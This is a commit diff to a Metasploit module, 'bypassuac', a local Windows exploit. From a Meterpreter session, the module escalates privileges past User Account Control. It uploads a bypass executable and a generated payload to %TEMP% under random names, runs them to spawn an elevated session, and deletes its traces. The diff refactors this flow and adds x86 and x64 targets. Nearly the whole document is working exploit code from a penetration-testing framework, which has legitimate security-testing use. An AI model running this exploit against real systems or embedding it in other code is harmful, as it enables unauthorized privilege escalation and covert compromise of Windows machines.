Matched bypassuac to upstream

Author: jamesbcook

modules/exploits/windows/local/bypassuac.rb

@@ -4,12 +4,14 @@
 ##
 
 require 'msf/core'
+require 'msf/core/exploit/exe'
 
 class Metasploit3 < Msf::Exploit::Local
   Rank = ExcellentRanking
 
+  include Exploit::EXE
+  include Post::File
   include Post::Windows::Priv
-  include Post::Windows::Runas
 
   def initialize(info={})
     super( update_info( info,
@@ -27,50 +29,43 @@ def initialize(info={})
         ],
       'Platform'      => [ 'win' ],
       'SessionTypes'  => [ 'meterpreter' ],
-      'Targets'       => [ [ 'Windows', {} ] ],
+      'Targets'       => [
+          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+      ],
       'DefaultTarget' => 0,
       'References'    => [
         [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
       ],
       'DisclosureDate'=> "Dec 31 2010"
     ))
 
-    register_options([
-      OptEnum.new("TECHNIQUE", [ true, "Technique to use if UAC is turned off", 'EXE', ['PSH', 'EXE'] ]),
-    ])
-
-  end
-
-  def runas_method
-    case datastore["TECHNIQUE"]
-      when "EXE"
-        execute_exe
-      when "PSH"
-        execute_psh
-    end
   end
 
-  def exploit
-    fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
-
-    #
-    # Verify use against Vista+
-    #
-    winver = sysinfo["OS"]
-    if winver !~ /Windows Vista|Windows 2008|Windows [78]/
-      fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
-    end
+  def check_permissions!
+    # Check if you are an admin
+    vprint_status('Checking admin status...')
+    admin_group = is_in_admin_group?
 
-    if is_uac_enabled?
-      print_status "UAC is Enabled, checking level..."
+    if admin_group.nil?
+      print_error('Either whoami is not there or failed to execute')
+      print_error('Continuing under assumption you already checked...')
     else
-      if is_in_admin_group?
-        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
+      if admin_group
+        print_good('Part of Administrators group! Continuing...')
       else
         fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
       end
     end
 
+    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
+      fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
+    end
+  end
+
+  def exploit
+    validate_environment!
+
     case get_uac_level
     when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
       fail_with(Exploit::Failure::NotVulnerable,
@@ -85,36 +80,41 @@ def exploit
       return
     end
 
-    # Check if you are an admin
-    print_status('Checking admin status...')
-    admin_group = is_in_admin_group?
+    check_permissions!
 
-    if admin_group.nil?
-      print_error('Either whoami is not there or failed to execute')
-      print_error('Continuing under assumption you already checked...')
-    else
-      if admin_group
-        print_good('Part of Administrators group! Continuing...')
-      else
-        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+    upload_binaries!
+
+    cmd = "#{path_bypass} /c #{path_payload}"
+    # execute the payload
+    pid = cmd_exec_get_pid(cmd)
+
+    ::Timeout.timeout(30) do
+      until session_created? do
+        select(nil,nil,nil,1)
       end
     end
+    session.sys.process.kill(pid)
+    # delete the uac bypass payload
+    file_rm(path_bypass)
+    file_rm("#{expand_path("%TEMP%")}\\tior.exe")
+    cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
+  end
 
-    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
-      fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
-    end
+  def path_bypass
+    @bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
+  end
 
+  def path_payload
+    @payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
+  end
+
+  def upload_binaries!
+    print_status("Uploaded the agent to the filesystem....")
     #
     # Generate payload and random names for upload
     #
     payload = generate_payload_exe
 
-    # randomize the bypass_uac_filename
-    bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-
-    # randomize the payload exe name
-    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-
     # path to the bypassuac binary
     path = ::File.join(Msf::Config.data_directory, "post")
 
@@ -126,36 +126,54 @@ def exploit
       bpexe = ::File.join(path, "bypassuac-x86.exe")
     end
 
-    tmpdir = expand_path("%TEMP%")
-    cmd = "#{tmpdir}\\#{bypass_uac_filename} /c #{tmpdir}\\#{payload_filename}"
-
     print_status("Uploading the bypass UAC executable to the filesystem...")
 
     begin
       #
       # Upload UAC bypass to the filesystem
       #
-      upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe)
+      upload_file("#{path_bypass}", bpexe)
       print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
-      #
-      # Upload the payload to the filesystem
-      #
-      tempexe = tmpdir + "\\" + payload_filename
-      write_file(tempexe, payload)
+
+      write_file(path_payload, payload)
     rescue ::Exception => e
-      print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
+      print_error("Error uploading file #{path_bypass}: #{e.class} #{e}")
       return
     end
+  end
 
-    print_status("Uploaded the agent to the filesystem....")
+  def runas_method
+    payload = generate_payload_exe
+    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
+    tmpdir = expand_path("%TEMP%")
+    tempexe = tmpdir + "\\" + payload_filename
+    write_file(tempexe, payload)
+    print_status("Uploading payload: #{tempexe}")
+    session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
+    print_status("Payload executed")
+  end
 
-    # execute the payload
-    cmd_exec(cmd)
+  def validate_environment!
+    fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
+    #
+    # Verify use against Vista+
+    #
+    winver = sysinfo["OS"]
 
-    # delete the uac bypass payload
-    delete_file = "#{tmpdir}\\#{bypass_uac_filename}"
+    unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
+      fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
+    end
 
-    file_rm(delete_file)
+    if is_uac_enabled?
+      print_status "UAC is Enabled, checking level..."
+    else
+      if is_in_admin_group?
+        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
+      else
+        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+      end
+    end
   end
-end
 
+
+end